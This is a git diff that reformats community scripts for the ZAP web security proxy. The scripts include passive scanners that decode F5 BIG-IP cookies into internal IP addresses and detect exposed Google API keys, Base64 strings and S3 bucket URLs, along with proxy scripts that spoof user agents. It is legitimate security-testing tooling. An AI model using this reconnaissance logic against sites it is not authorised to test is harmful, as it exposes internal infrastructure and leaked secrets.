variables + var cweId = 352; + var wascId = 9; + var url = msg.getRequestHeader().getURI().toString(); + var cookieHeaderNames = ["Set-Cookie", "Set-Cookie2"]; + var cookieSameSiteAttributeNameLower = "samesite"; + + //Response headers collection + var responseHeaders = msg.getResponseHeader(); + + //Detect and analyze presence of the cookie headers + for (var i = 0; i < cookieHeaderNames.length; i++) { + var headerName = cookieHeaderNames[i]; + if (responseHeaders.getHeaders(headerName)) { + //Check if the cookie header values contains the SameSite attribute + var headerValues = responseHeaders.getHeaders(headerName).toArray(); + for (var j = 0; j < headerValues.length; j++) { + var cookieAttributes = headerValues[j].split(";"); + //Inspect each attribute in order to avoid false-positive spot + //by simply searching "samesite=" on the whole cookie header value... + for (var k = 0; k < cookieAttributes.length; k++) { + var parts = cookieAttributes[k].split("="); + if ( + parts[0].trim().toLowerCase(Locale.ROOT) == + cookieSameSiteAttributeNameLower + ) { + //Raise info alert + var sameSiteAttrValue = parts[1].trim(); + var cookieName = cookieAttributes[0].split("=")[0].trim(); + var description = + "The current site use the 'SameSite' cookie attribute protection on cookie named '" + + cookieName + + "', value is set to '" + + sameSiteAttrValue + + "' protection level."; + var infoLinkRef = + "https://tools.ietf.org/html/draft-west-first-party-cookies\nhttps://chloe.re/2016/04/13/goodbye-csrf-samesite-to-the-rescue"; + var solution = + "CSRF possible vulnerabilities presents on the site will be mitigated depending on the browser used by the user (browser defines the support level for this cookie attribute)."; + ps.raiseAlert( + 0, + 3, + "SameSite cookie attribute protection used", + description, + url, + "Cookie named: '" + cookieName + "'", + "", + infoLinkRef, + solution, + sameSiteAttrValue, + cweId, + wascId, + msg + ); + break; + } + } + } + } + } +} diff --git a/passive/f5_bigip_cookie_internal_ip.js b/passive/f5_bigip_cookie_internal_ip.js index a82753ca..667f39db 100755 --- a/passive/f5_bigip_cookie_internal_ip.js +++ b/passive/f5_bigip_cookie_internal_ip.js @@ -1,7 +1,7 @@ // Note that new passive scripts will initially be disabled -// Right click the script in the Scripts tree and select "enable" +// Right click the script in the Scripts tree and select "enable" -// Persistence cookies returned by F5 BigIP devices are used for load balancing +// Persistence cookies returned by F5 BigIP devices are used for load balancing // and if not properly configured, may reveal IP addresses and ports of internal (RFC1918) components. // This script passively scans for such cookies being set and attempts to decode them. // If an analyzed cookie decodes to a RFC1918 IPv4 address then an alert is raised. @@ -14,144 +14,174 @@ var Locale = Java.type("java.util.Locale"); function scan(ps, msg, src) { - //Setup some details we will need for alerts later if we find something - var alertRisk = [1, 0] - var alertConfidence = 3 - var alertTitle = ['Internal IP Exposed via F5 BigIP Persistence Cookie' - , 'IP Exposed via F5 BigIP Presistence Cookie'] - var alertDesc = ['The F5 Big-IP Persistence cookie set for this website can be decoded to a specific internal IP and port. An attacker may leverage this information to conduct Social Engineering attacks or other exploits.' - ,'The F5 Big-IP Persistence cookie set for this website can be decoded to a specific IP and port. An attacker may leverage this information to conduct Social Engineering attacks or other exploits.'] - var alertSolution = 'Configure BIG-IP cookie encryption.' - var alertRefs = 'https://support.f5.com/kb/en-us/solutions/public/6000/900/sol6917.html' - var cweId = 311 - var wascId = 13 - - var url = msg.getRequestHeader().getURI().toString(); - //Only check when a cookie is set - if(msg.getResponseHeader().getHeaders("Set-Cookie")) { - var cookiesList = msg.getResponseHeader().getHttpCookies(); //Set-Cookie in Response - cookiesList.addAll(msg.getRequestHeader().getHttpCookies()); //Cookie in Request - var cookiesArr = cookiesList.toArray(); - - for (var idx in cookiesArr) { - var cookieName=cookiesArr[idx].getName(); - var cookieValue=cookiesArr[idx].getValue(); - if(cookieName.toLowerCase(Locale.ROOT).contains("bigip") && - !cookieValue.toLowerCase(Locale.ROOT).contains("deleted")) { - var cookieChunks = cookieValue.split("\."); //i.e.: 3860990474.36895.0000 - //Decode IP - try { - var theIP=decodeIP(cookieChunks[0]); - } catch (e) { - continue //Something went wrong - } - //Decode Port - var thePort=decodePort(cookieChunks[1]); - - if(isLocal(theIP)) { //RFC1918 and RFC4193 - - if(theIP.match(/:/g))//matching again just so I can format it correctly with [] - { - var decodedValue='[' + theIP +']:' + thePort; - } else { - decodedValue=theIP+':'+thePort; - } - var alertOtherInfo=cookieValue+" decoded to "+decodedValue; - //ps.raiseAlert(risk, confidence, title, description, url, param, attack, otherinfo, solution, evidence, cweId, wascId, msg); - ps.raiseAlert(alertRisk[0], alertConfidence, alertTitle[0], alertDesc[0], url, - cookieName, '', alertOtherInfo, alertSolution+'\n'+alertRefs, - cookieValue, cweId, wascId, msg); - - } else if(isExternal(theIP)){ - - if(theIP.match(/:/g))//matching again just so I can format it correctly with [] - { - decodedValue='[' + theIP +']:' + thePort; - } else { - decodedValue=theIP+':'+thePort; - } - alertOtherInfo=cookieValue+" decoded to "+decodedValue; - //ps.raiseAlert(risk, confidence, title, description, url, param, attack, otherinfo, solution, evidence, cweId, wascId, msg); - ps.raiseAlert(alertRisk[1], alertConfidence, alertTitle[1], alertDesc[1], url, - cookieName, '', alertOtherInfo, alertSolution+'\n'+alertRefs, - cookieValue, cweId, wascId, msg); - } - - else { //Not what we're looking for - continue - } - } - } - } + //Setup some details we will need for alerts later if we find something + var alertRisk = [1, 0]; + var alertConfidence = 3; + var alertTitle = [ + "Internal IP Exposed via F5 BigIP Persistence Cookie", + "IP Exposed via F5 BigIP Presistence Cookie", + ]; + var alertDesc = [ + "The F5 Big-IP Persistence cookie set for this website can be decoded to a specific internal IP and port. An attacker may leverage this information to conduct Social Engineering attacks or other exploits.", + "The F5 Big-IP Persistence cookie set for this website can be decoded to a specific IP and port. An attacker may leverage this information to conduct Social Engineering attacks or other exploits.", + ]; + var alertSolution = "Configure BIG-IP cookie encryption."; + var alertRefs = + "https://support.f5.com/kb/en-us/solutions/public/6000/900/sol6917.html"; + var cweId = 311; + var wascId = 13; + + var url = msg.getRequestHeader().getURI().toString(); + //Only check when a cookie is set + if (msg.getResponseHeader().getHeaders("Set-Cookie")) { + var cookiesList = msg.getResponseHeader().getHttpCookies(); //Set-Cookie in Response + cookiesList.addAll(msg.getRequestHeader().getHttpCookies()); //Cookie in Request + var cookiesArr = cookiesList.toArray(); + + for (var idx in cookiesArr) { + var cookieName = cookiesArr[idx].getName(); + var cookieValue = cookiesArr[idx].getValue(); + if ( + cookieName.toLowerCase(Locale.ROOT).contains("bigip") && + !cookieValue.toLowerCase(Locale.ROOT).contains("deleted") + ) { + var cookieChunks = cookieValue.split("."); //i.e.: 3860990474.36895.0000 + //Decode IP + try { + var theIP = decodeIP(cookieChunks[0]); + } catch (e) { + continue; //Something went wrong + } + //Decode Port + var thePort = decodePort(cookieChunks[1]); + + if (isLocal(theIP)) { + //RFC1918 and RFC4193 + + if (theIP.match(/:/g)) { + //matching again just so I can format it correctly with [] + var decodedValue = "[" + theIP + "]:" + thePort; + } else { + decodedValue = theIP + ":" + thePort; + } + var alertOtherInfo = cookieValue + " decoded to " + decodedValue; + //ps.raiseAlert(risk, confidence, title, description, url, param, attack, otherinfo, solution, evidence, cweId, wascId, msg); + ps.raiseAlert( + alertRisk[0], + alertConfidence, + alertTitle[0], + alertDesc[0], + url, + cookieName, + "", + alertOtherInfo, + alertSolution + "\n" + alertRefs, + cookieValue, + cweId, + wascId, + msg + ); + } else if (isExternal(theIP)) { + if (theIP.match(/:/g)) { + //matching again just so I can format it correctly with [] + decodedValue = "[" + theIP + "]:" + thePort; + } else { + decodedValue = theIP + ":" + thePort; + } + alertOtherInfo = cookieValue + " decoded to " + decodedValue; + //ps.raiseAlert(risk, confidence, title, description, url, param, attack, otherinfo, solution, evidence, cweId, wascId, msg); + ps.raiseAlert( + alertRisk[1], + alertConfidence, + alertTitle[1], + alertDesc[1], + url, + cookieName, + "", + alertOtherInfo, + alertSolution + "\n" + alertRefs, + cookieValue, + cweId, + wascId, + msg + ); + } else { + //Not what we're looking for + continue; + } + } + } + } } function decodeIP(ipChunk) { - - //this is our check for IPv6 cookie. BigIP F5 documentation says all are prefixed with "vi" - if(ipChunk.substring(0,2)=="vi") - { - //get rid of the prefixed vi - ipChunk = ipChunk.substring(2) - - //create array in groups of 4. - //makes vi20010112000000900000000000000030 into 2001,0112,0000,0090,0000,0000,0000,0030 - var encodedIP = ipChunk.match(/[0-9a-f]{4}/ig); - - //first, cast array to string - //then replace , with : - var ipv6 = encodedIP.toString().replace(/,/g,":"); - return(ipv6) - - } else { //not ipv6, so process it as ipv4 - - var backwardIpHex = java.net.InetAddress.getByName(ipChunk); - var backwardAddress = backwardIpHex.getHostAddress(); - var ipPieces = backwardAddress.split("\."); - var theIP = ipPieces[3]+'.'+ipPieces[2]+'.'+ipPieces[1]+'.'+ipPieces[0] - return(theIP) - } + //this is our check for IPv6 cookie. BigIP F5 documentation says all are prefixed with "vi" + if (ipChunk.substring(0, 2) == "vi") { + //get rid of the prefixed vi + ipChunk = ipChunk.substring(2); + + //create array in groups of 4. + //makes vi20010112000000900000000000000030 into 2001,0112,0000,0090,0000,0000,0000,0030 + var encodedIP = ipChunk.match(/[0-9a-f]{4}/gi); + + //first, cast array to string + //then replace , with : + var ipv6 = encodedIP.toString().replace(/,/g, ":"); + return ipv6; + } else { + //not ipv6, so process it as ipv4 + + var backwardIpHex = java.net.InetAddress.getByName(ipChunk); + var backwardAddress = backwardIpHex.getHostAddress(); + var ipPieces = backwardAddress.split("."); + var theIP = + ipPieces[3] + "." + ipPieces[2] + "." + ipPieces[1] + "." + ipPieces[0]; + return theIP; + } } function isLocal(ip) { - - if(ip.match(/:/g)){ //match on ipv6 notation - try { - //isSiteLocalAddress only returns true for FEC0, using RFC4193 definition of fc00, matching on beginning string regexp - if(java.net.InetAddress.getByName(ip) && ip.match(/(^fc00)/im)) { - return true //it is local per RFC4193 - } - } catch (e) { - return false //not confirmed local ipv6 - } - - } else { - try { - if(java.net.InetAddress.getByName(ip).isSiteLocalAddress()) { - return true //RFC1918 and IPv4 - } - } catch (e) { - return false //Not confirmed local IPv4 - } - } + if (ip.match(/:/g)) { + //match on ipv6 notation + try { + //isSiteLocalAddress only returns true for FEC0, using RFC4193 definition of fc00, matching on beginning string regexp + if (java.net.InetAddress.getByName(ip) && ip.match(/(^fc00)/im)) { + return true; //it is local per RFC4193 + } + } catch (e) { + return false; //not confirmed local ipv6 + } + } else { + try { + if (java.net.InetAddress.getByName(ip).isSiteLocalAddress()) { + return true; //RFC1918 and IPv4 + } + } catch (e) { + return false; //Not confirmed local IPv4 + } + } } function isExternal(ip) { - - try { - if(java.net.InetAddress.getByName(ip)) { //just testing for valid format to verify it's not encrypted - return true //it is a valid IP, likely external - } - } catch (e) { - return false //Not valid IP, so it's likely an encrypted cookie - } + try { + if (java.net.InetAddress.getByName(ip)) { + //just testing for valid format to verify it's not encrypted + return true; //it is a valid IP, likely external + } + } catch (e) { + return false; //Not valid IP, so it's likely an encrypted cookie + } } - -function decodePort(portChunk) { //port processing is same for ipv4 and ipv6 - var backwardPortHex = java.lang.Integer.toHexString(java.lang.Integer.parseInt(portChunk)); - var assembledPortHex = backwardPortHex.substring(2,4)+backwardPortHex.substring(0,2) - var thePort = java.lang.Integer.parseInt(assembledPortHex, 16); - return(thePort) +function decodePort(portChunk) { + //port processing is same for ipv4 and ipv6 + var backwardPortHex = java.lang.Integer.toHexString( + java.lang.Integer.parseInt(portChunk) + ); + var assembledPortHex = + backwardPortHex.substring(2, 4) + backwardPortHex.substring(0, 2); + var thePort = java.lang.Integer.parseInt(assembledPortHex, 16); + return thePort; } // TODO List diff --git a/passive/find base64 strings.js b/passive/find base64 strings.js index 5c8a3f15..673c55a9 100644 --- a/passive/find base64 strings.js +++ b/passive/find base64 strings.js @@ -1,46 +1,78 @@ // This community script will analyze the response for base64 encoded strings // Regex Test: https://regex101.com/r/pS2oF3/3 - function scan(ps, msg, src) { - var RESULT_PER_FINDING = new Boolean(0) // If you want to see results on a per comment basis (i.e.: A single URL may be listed more than once), set this to true (1) - var RESULT_PER_URL = new Boolean(1) // If you want to see results on a per URL basis (i.e.: all comments for a single URL will be grouped together), set this to true (1) - + var RESULT_PER_FINDING = new Boolean(0); // If you want to see results on a per comment basis (i.e.: A single URL may be listed more than once), set this to true (1) + var RESULT_PER_URL = new Boolean(1); // If you want to see results on a per URL basis (i.e.: all comments for a single URL will be grouped together), set this to true (1) + + var alertRisk = 0; + var alertConfidence = 1; + var alertTitle = "Base64-encoded string found (script)"; + var alertDesc = + "A Base64-encoded string has been found in the HTTP response body. Base64-encoded data may contain sensitive information such as usernames, passwords or cookies which should be further inspected."; + var alertSolution = + "Base64-encoding should not be used to store or send sensitive information."; + var cweId = 0; + var wascId = 0; + var url = msg.getRequestHeader().getURI().toString(); + var re = /([A-Za-z0-9+\/]{15,}=+)/g; - var alertRisk = 0 - var alertConfidence = 1 - var alertTitle = 'Base64-encoded string found (script)' - var alertDesc = "A Base64-encoded string has been found in the HTTP response body. Base64-encoded data may contain sensitive information such as usernames, passwords or cookies which should be further inspected." - var alertSolution = 'Base64-encoding should not be used to store or send sensitive information.' - var cweId = 0 - var wascId = 0 - var url = msg.getRequestHeader().getURI().toString(); - var re = /([A-Za-z0-9+\/]{15,}=+)/g + var contenttype = msg.getResponseHeader().getHeader("Content-Type"); + var unwantedfiletypes = [ + "image/png", + "image/jpeg", + "image/gif", + "application/x-shockwave-flash", + ]; - var contenttype = msg.getResponseHeader().getHeader("Content-Type") - var unwantedfiletypes = ['image/png', 'image/jpeg','image/gif','application/x-shockwave-flash'] - - if (unwantedfiletypes.indexOf(""+contenttype) >= 0) { - // skip scan if unwanted filetypes are found - return - }else{ - var body = msg.getResponseBody().toString() - if (re.test(body)) { - re.lastIndex = 0 - var foundstrings = [] - var counter=0 - var comm - while (comm = re.exec(body)) { - if (RESULT_PER_FINDING == true) { - counter = counter+1; - ps.raiseAlert(alertRisk, alertConfidence, alertTitle, alertDesc, url, 'fakeparam'+counter, '', comm[0], alertSolution,'' , cweId, wascId, msg); - } - foundstrings.push(comm[0]); - } - if (RESULT_PER_URL == true) - { - ps.raiseAlert(alertRisk, alertConfidence, alertTitle, alertDesc, url, '', '', foundstrings.toString(), alertSolution,'' , cweId, wascId, msg); - } + if (unwantedfiletypes.indexOf("" + contenttype) >= 0) { + // skip scan if unwanted filetypes are found + return; + } else { + var body = msg.getResponseBody().toString(); + if (re.test(body)) { + re.lastIndex = 0; + var foundstrings = []; + var counter = 0; + var comm; + while ((comm = re.exec(body))) { + if (RESULT_PER_FINDING == true) { + counter = counter + 1; + ps.raiseAlert( + alertRisk, + alertConfidence, + alertTitle, + alertDesc, + url, + "fakeparam" + counter, + "", + comm[0], + alertSolution, + "", + cweId, + wascId, + msg + ); } + foundstrings.push(comm[0]); + } + if (RESULT_PER_URL == true) { + ps.raiseAlert( + alertRisk, + alertConfidence, + alertTitle, + alertDesc, + url, + "", + "", + foundstrings.toString(), + alertSolution, + "", + cweId, + wascId, + msg + ); + } } + } } diff --git a/passive/google_api_keys_finder.js b/passive/google_api_keys_finder.js index 26d630e5..3f122cab 100644 --- a/passive/google_api_keys_finder.js +++ b/passive/google_api_keys_finder.js @@ -22,20 +22,26 @@ function scan(ps, msg, src) { // Do not scan unwanted file types. var contentType = msg.getResponseHeader().getHeader("Content-Type"); - var unwantedFileTypes = ["image/png", "image/jpeg", "image/gif", "application/x-shockwave-flash", "application/pdf"]; + var unwantedFileTypes = [ + "image/png", + "image/jpeg", + "image/gif", + "application/x-shockwave-flash", + "application/pdf", + ]; if (unwantedFileTypes.indexOf("" + contentType) >= 0) { return; } - var body = msg.getResponseBody().toString() + var body = msg.getResponseBody().toString(); if (re.test(body)) { re.lastIndex = 0; var foundKeys = []; var key; - while (key = re.exec(body)) { + while ((key = re.exec(body))) { foundKeys.push(key[0]); } @@ -47,7 +53,8 @@ function scan(ps, msg, src) { url, "", "", - "The following Google API keys have been found in the page: " + foundKeys.join(", "), // Other info + "The following Google API keys have been found in the page: " + + foundKeys.join(", "), // Other info alertSolution, foundKeys[0].toString(), // Evidence cweId, diff --git a/passive/s3.js b/passive/s3.js index f50f5014..e2889eab 100644 --- a/passive/s3.js +++ b/passive/s3.js @@ -1,40 +1,59 @@ -// S3 bucket finder by alishasinghania09@gmail.com +// S3 bucket finder by alishasinghania09@gmail.com function scan(ps, msg, src) { - // populate some parameters which will be needed if s3 bucket url is present - var alertRisk = 1 - var alertConfidence = 3 - var alertTitle = 's3 Bucket URL' - var alertDesc = 's3 Bucket URL found in response.' - var alertSolution = 'Remove s3 Buckets name from response or make sure the permissions in bucket are configured properly.' - var cweId = 200 - var wascId = 13 + // populate some parameters which will be needed if s3 bucket url is present + var alertRisk = 1; + var alertConfidence = 3; + var alertTitle = "s3 Bucket URL"; + var alertDesc = "s3 Bucket URL found in response."; + var alertSolution = + "Remove s3 Buckets name from response or make sure the permissions in bucket are configured properly."; + var cweId = 200; + var wascId = 13; - // the regex for s3 bucket url and it must appear within /( and )/g - var re = /((s3:\\[a-zA-Z0-9-\.\\_]+)|((s3-|s3\.)?(.*)\.amazonaws\.com))/g + // the regex for s3 bucket url and it must appear within /( and )/g + var re = /((s3:\\[a-zA-Z0-9-\.\\_]+)|((s3-|s3\.)?(.*)\.amazonaws\.com))/g; - // we need to set the url variable to the request or we cant track the alert later - var url = msg.getRequestHeader().getURI().toString(); + // we need to set the url variable to the request or we cant track the alert later + var url = msg.getRequestHeader().getURI().toString(); - // If the file type is image jpeg/png , then the scan will be skipped - var contenttype = msg.getResponseHeader().getHeader("Content-Type") - var unwantedfiletypes = ['image/png', 'image/jpeg','image/gif','application/x-shockwave-flash','application/pdf'] - if (unwantedfiletypes.indexOf(""+contenttype) >= 0) { - return - } - else{ - // test the regex against the message body - var body = msg.getResponseBody().toString() - if (re.test(body)) { - re.lastIndex = 0 - var founds3bucket = [] - var buckets - while (buckets = re.exec(body)) { - founds3bucket.push(buckets[0]); - } - //raise the alert - ps.raiseAlert(alertRisk, alertConfidence, alertTitle, alertDesc, url, '', '', founds3bucket.toString(), alertSolution, '', cweId, wascId, msg); - } + // If the file type is image jpeg/png , then the scan will be skipped + var contenttype = msg.getResponseHeader().getHeader("Content-Type"); + var unwantedfiletypes = [ + "image/png", + "image/jpeg", + "image/gif", + "application/x-shockwave-flash", + "application/pdf", + ]; + if (unwantedfiletypes.indexOf("" + contenttype) >= 0) { + return; + } else { + // test the regex against the message body + var body = msg.getResponseBody().toString(); + if (re.test(body)) { + re.lastIndex = 0; + var founds3bucket = []; + var buckets; + while ((buckets = re.exec(body))) { + founds3bucket.push(buckets[0]); + } + //raise the alert + ps.raiseAlert( + alertRisk, + alertConfidence, + alertTitle, + alertDesc, + url, + "", + "", + founds3bucket.toString(), + alertSolution, + "", + cweId, + wascId, + msg + ); } + } } - diff --git a/payloadgenerator/securerandom.js b/payloadgenerator/securerandom.js index 4d200da5..4011bcd5 100644 --- a/payloadgenerator/securerandom.js +++ b/payloadgenerator/securerandom.js @@ -6,26 +6,25 @@ var INITIAL_VALUE = 1; var count = INITIAL_VALUE; function getNumberOfPayloads() { - return NUMBER_OF_PAYLOADS; + return NUMBER_OF_PAYLOADS; } function hasNext() { - return (count <= NUMBER_OF_PAYLOADS); + return count <= NUMBER_OF_PAYLOADS; } function next() { - count++; - // There are other data type options offered by SecureRandom - // https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/security/SecureRandom.html - // If you don't want leading negative signs on ints you could use Math.abs - // If you want to pad to a certain length you could do something like: - // String.format("%010d", random.nextint());' - return random.nextInt(); + count++; + // There are other data type options offered by SecureRandom + // https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/security/SecureRandom.html + // If you don't want leading negative signs on ints you could use Math.abs + // If you want to pad to a certain length you could do something like: + // String.format("%010d", random.nextint());' + return random.nextInt(); } function reset() { - count = INITIAL_VALUE; + count = INITIAL_VALUE; } -function close() { -} +function close() {} diff --git a/payloadprocessor/to-hex.js b/payloadprocessor/to-hex.js index 2a7bb5e9..d5a36639 100644 --- a/payloadprocessor/to-hex.js +++ b/payloadprocessor/to-hex.js @@ -1,6 +1,6 @@ - /** +/** * Converts a string payload to hex. - * + * * Created to add functionality found in Burp to solve Natas19 * https://www.youtube.com/watch?v=z3RtpWZ_R3Q * @@ -8,7 +8,7 @@ */ function process(payload) { - var hex = ''; + var hex = ""; var i; for (i = 0; i < payload.length; i++) { hex += payload.charCodeAt(i).toString(16); diff --git a/proxy/Drop requests by response code.js b/proxy/Drop requests by response code.js index ecb0d2e2..40d025eb 100644 --- a/proxy/Drop requests by response code.js +++ b/proxy/Drop requests by response code.js @@ -1,14 +1,14 @@ // This script was lazily crafted by Anthony Cozamanis, kurobeats@yahoo.co.jp function proxyRequest(msg) { - return true + return true; } function proxyResponse(msg) { - var code = msg.getResponseHeader().getStatusCode() - // You can add more codes here - if (code == 404 || code == 403 || code == 500 || code == 502) { - // Drop the response - return false - } - return true + var code = msg.getResponseHeader().getStatusCode(); + // You can add more codes here + if (code == 404 || code == 403 || code == 500 || code == 502) { + // Drop the response + return false; + } + return true; } diff --git a/proxy/Drop requests not in scope.js b/proxy/Drop requests not in scope.js index 07ac70d8..e8a954c7 100644 --- a/proxy/Drop requests not in scope.js +++ b/proxy/Drop requests not in scope.js @@ -1,22 +1,23 @@ // This script drops ALL requests that are out of scope function proxyRequest(msg) { - - // Change this test to match whatever requests you want to fake - if (!msg.isInScope()) { - msg.setResponseBody("\n" + - "

403 Forbidden

\n" + - "Out of scope request blocked by ZAP script 'Drop requests not in scope.js'\n" + - ""); - msg.setResponseHeader("HTTP/1.1 403 Forbidden\r\n" + - "Content-Type: text/html; charset=UTF-8"); - msg.getResponseHeader().setContentLength(msg.getResponseBody().length()); - } - return true + // Change this test to match whatever requests you want to fake + if (!msg.isInScope()) { + msg.setResponseBody( + '\n' + + "

403 Forbidden

\n" + + "Out of scope request blocked by ZAP script 'Drop requests not in scope.js'\n" + + "" + ); + msg.setResponseHeader( + "HTTP/1.1 403 Forbidden\r\n" + "Content-Type: text/html; charset=UTF-8" + ); + msg.getResponseHeader().setContentLength(msg.getResponseBody().length()); + } + return true; } function proxyResponse(msg) { - // Dont need to do anything here - return true + // Dont need to do anything here + return true; } - diff --git a/proxy/Emulate Android.js b/proxy/Emulate Android.js index 5e3ed385..74751124 100644 --- a/proxy/Emulate Android.js +++ b/proxy/Emulate Android.js @@ -1,13 +1,14 @@ // This script was lazily crafted by Anthony Cozamanis, kurobeats@yahoo.co.jp function proxyRequest(msg) { - var ua - ua = 'Mozilla/5.0 (Linux; U; Android 2.2; en-us; Droid Build/FRG22D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1' - msg.getRequestHeader().setHeader('User-Agent', ua) - return true + var ua; + ua = + "Mozilla/5.0 (Linux; U; Android 2.2; en-us; Droid Build/FRG22D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1"; + msg.getRequestHeader().setHeader("User-Agent", ua); + return true; } function proxyResponse(msg) { - // Leave the response alone - return true + // Leave the response alone + return true; } diff --git a/proxy/Emulate Chrome.js b/proxy/Emulate Chrome.js index 80a2841e..9b946621 100644 --- a/proxy/Emulate Chrome.js +++ b/proxy/Emulate Chrome.js @@ -1,13 +1,14 @@ // This script was lazily crafted by Anthony Cozamanis, kurobeats@yahoo.co.jp function proxyRequest(msg) { - var ua - ua = 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36' - msg.getRequestHeader().setHeader('User-Agent', ua) - return true + var ua; + ua = + "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36"; + msg.getRequestHeader().setHeader("User-Agent", ua); + return true; } function proxyResponse(msg) { - // Leave the response alone - return true + // Leave the response alone + return true; } diff --git a/proxy/Emulate Firefox.js b/proxy/Emulate Firefox.js index 91f3d134..28fbb625 100644 --- a/proxy/Emulate Firefox.js +++ b/proxy/Emulate Firefox.js @@ -1,13 +1,14 @@ // This script was lazily crafted by Anthony Cozamanis, kurobeats@yahoo.co.jp function proxyRequest(msg) { - var ua - ua = 'Mozilla/5.0 (X11; Linux i686 on x86_64; rv:28.0) Gecko/20100101 Firefox/28.0' - msg.getRequestHeader().setHeader('User-Agent', ua) - return true + var ua; + ua = + "Mozilla/5.0 (X11; Linux i686 on x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"; + msg.getRequestHeader().setHeader("User-Agent", ua); + return true; } function proxyResponse(msg) { - // Leave the response alone - return true + // Leave the response alone + return true; } diff --git a/proxy/Emulate IE.js b/proxy/Emulate IE.js index 0aff1a6d..16514e02 100644 --- a/proxy/Emulate IE.js +++ b/proxy/Emulate IE.js @@ -1,13 +1,13 @@ // This script was lazily crafted by Anthony Cozamanis, kurobeats@yahoo.co.jp function proxyRequest(msg) { - var ua - ua = 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko' - msg.getRequestHeader().setHeader('User-Agent', ua) - return true + var ua; + ua = "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"; + msg.getRequestHeader().setHeader("User-Agent", ua); + return true; } function proxyResponse(msg) { - // Leave the response alone - return true + // Leave the response alone + return true; } diff --git a/proxy/Emulate Safari.js b/proxy/Emulate Safari.js index 36ef1f16..6709ca7f 100644 --- a/proxy/Emulate Safari.js +++ b/proxy/Emulate Safari.js @@ -1,13 +1,14 @@ // This script was lazily crafted by Anthony Cozamanis, kurobeats@yahoo.co.jp function proxyRequest(msg) { - var ua - ua = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.74.9 (KHTML, like Gecko) Version/7.0.2 Safari/537.74.9' - msg.getRequestHeader().setHeader('User-Agent', ua) - return true + var ua; + ua = + "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.74.9 (KHTML, like Gecko) Version/7.0.2 Safari/537.74.9"; + msg.getRequestHeader().setHeader("User-Agent", ua); + return true; } function proxyResponse(msg) { - // Leave the response alone - return true + // Leave the response alone + return true; } diff --git a/proxy/Emulate iOS.js b/proxy/Emulate iOS.js index 74865bf0..f21c341d 100644 --- a/proxy/Emulate iOS.js +++ b/proxy/Emulate iOS.js @@ -1,13 +1,14 @@ // This script was lazily crafted by Anthony Cozamanis, kurobeats@yahoo.co.jp function proxyRequest(msg) { - var ua - ua = 'Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B176 Safari/7534.48.3' - msg.getRequestHeader().setHeader('User-Agent', ua) - return true + var ua; + ua = + "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B176 Safari/7534.48.3"; + msg.getRequestHeader().setHeader("User-Agent", ua); + return true; } function proxyResponse(msg) { - // Leave the response alone - return true + // Leave the response alone + return true; } diff --git a/proxy/Replace in request or response body.js b/proxy/Replace in request or response body.js index d09f1b7f..3889ddd9 100644 --- a/proxy/Replace in request or response body.js +++ b/proxy/Replace in request or response body.js @@ -1,44 +1,58 @@ // Replace strings in the request and/or response body // Change the script for the strings you want to replace. // -// The proxyRequest and proxyResponse functions will be called for all requests and responses made via ZAP, +// The proxyRequest and proxyResponse functions will be called for all requests and responses made via ZAP, // excluding some of the automated tools -// If they return 'false' then the corresponding request / response will be dropped. +// If they return 'false' then the corresponding request / response will be dropped. // You can use msg.setForceIntercept(true) in either method to force a break point // Note that new proxy scripts will initially be disabled -// Right click the script in the Scripts tree and select "enable" +// Right click the script in the Scripts tree and select "enable" /** * This function allows interaction with proxy requests (i.e.: outbound from the browser/client to the server). - * + * * @param msg - the HTTP request being proxied. This is an HttpMessage object. */ function proxyRequest(msg) { - print('proxyRequest called for url=' + msg.getRequestHeader().getURI().toString()) - // Remove the '(?i)' for a case exact match - var req_str_to_change = "(?i)change from this" - var req_str_to_replace = "changed to this" - msg.setRequestBody(msg.getRequestBody().toString().replaceAll(req_str_to_change, req_str_to_replace)) - // Update the content length in the header as this may have been changed - msg.getRequestHeader().setContentLength(msg.getRequestBody().length()); + print( + "proxyRequest called for url=" + msg.getRequestHeader().getURI().toString() + ); + // Remove the '(?i)' for a case exact match + var req_str_to_change = "(?i)change from this"; + var req_str_to_replace = "changed to this"; + msg.setRequestBody( + msg + .getRequestBody() + .toString() + .replaceAll(req_str_to_change, req_str_to_replace) + ); + // Update the content length in the header as this may have been changed + msg.getRequestHeader().setContentLength(msg.getRequestBody().length()); - return true + return true; } /** * This function allows interaction with proxy responses (i.e.: inbound from the server to the browser/client). - * + * * @param msg - the HTTP response being proxied. This is an HttpMessage object. */ function proxyResponse(msg) { - print('proxyResponse called for url=' + msg.getRequestHeader().getURI().toString()) - // Remove the '(?i)' for a case exact match - var req_str_to_change = "(?i)change from this" - var req_str_to_replace = "changed to this" - msg.setResponseBody(msg.getResponseBody().toString().replaceAll(req_str_to_change, req_str_to_replace)) - // Update the content length in the header as this may have been changed - msg.getResponseHeader().setContentLength(msg.getResponseBody().length()); + print( + "proxyResponse called for url=" + msg.getRequestHeader().getURI().toString() + ); + // Remove the '(?i)' for a case exact match + var req_str_to_change = "(?i)change from this"; + var req_str_to_replace = "changed to this"; + msg.setResponseBody( + msg + .getResponseBody() + .toString() + .replaceAll(req_str_to_change, req_str_to_replace) + ); + // Update the content length in the header as this may have been changed + msg.getResponseHeader().setContentLength(msg.getResponseBody().length()); - return true + return true; } diff --git a/proxy/Return fake response.js b/proxy/Return fake response.js index b3f60edc..628dfbf9 100644 --- a/proxy/Return fake response.js +++ b/proxy/Return fake response.js @@ -3,23 